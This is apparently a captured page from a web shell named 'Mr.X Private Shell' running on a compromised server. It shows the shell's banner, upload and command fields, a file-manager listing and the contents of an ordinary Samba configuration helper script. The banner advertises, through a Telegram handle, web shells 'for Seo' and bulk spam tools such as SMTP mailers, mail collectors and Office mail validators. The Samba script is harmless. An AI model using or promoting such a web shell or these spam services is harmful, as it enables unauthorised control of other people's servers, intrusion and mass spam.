__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
#!/usr/bin/python3
# Helper to set a global option in the samba configuration file
# Eventually this should be replaced by a call to samba-tool, but
# for the moment that doesn't support setting individual configuration options.

import optparse
import os
import re
import shutil
import stat
import tempfile

parser = optparse.OptionParser()
parser.add_option("--configfile", type=str, metavar="CONFFILE",
                  help="Configuration file to use", default="/etc/samba/smb.conf")

(opts, args) = parser.parse_args()
if len(args) != 2:
    parser.print_usage()

(key, value) = args
inglobal = False
done = False

inf = open(opts.configfile, 'r')
(fd, fn) = tempfile.mkstemp()
outf = os.fdopen(fd, 'w')

for l in inf.readlines():
    m = re.match(r"^\s*\[([^]]+)\]$", l)
    if m:
        if inglobal and not done:
            outf.write("  %s = %s\n" % (key, value))
            done = True
        inglobal = (m.groups(1)[0] in ("global", "globals"))
    elif inglobal and re.match(r"^(\s*)" + key + r"(\s*)=.*$", l):
        l = re.sub(r"^(\s*)" + key + r"(\s*)=.*$",
                r"\1" + key + r"\2=\2" + value, l)
        done = True
    outf.write(l)

if not done:
    outf.write("%s = %s\n" % (key, value))

os.fchmod(fd, stat.S_IMODE(os.stat(opts.configfile).st_mode))
outf.close()
shutil.move(fn, opts.configfile)

Filemanager

Name Type Size Permission Actions
admx Folder 0755
mdssvc Folder 0755
setup Folder 0755
addshare.py File 1.14 KB 0755
is-configured File 818 B 0755
panic-action File 2.01 KB 0755
setoption.py File 1.3 KB 0755
smb.conf File 8.4 KB 0644
update-apparmor-samba-profile File 2.62 KB 0755
Filemanager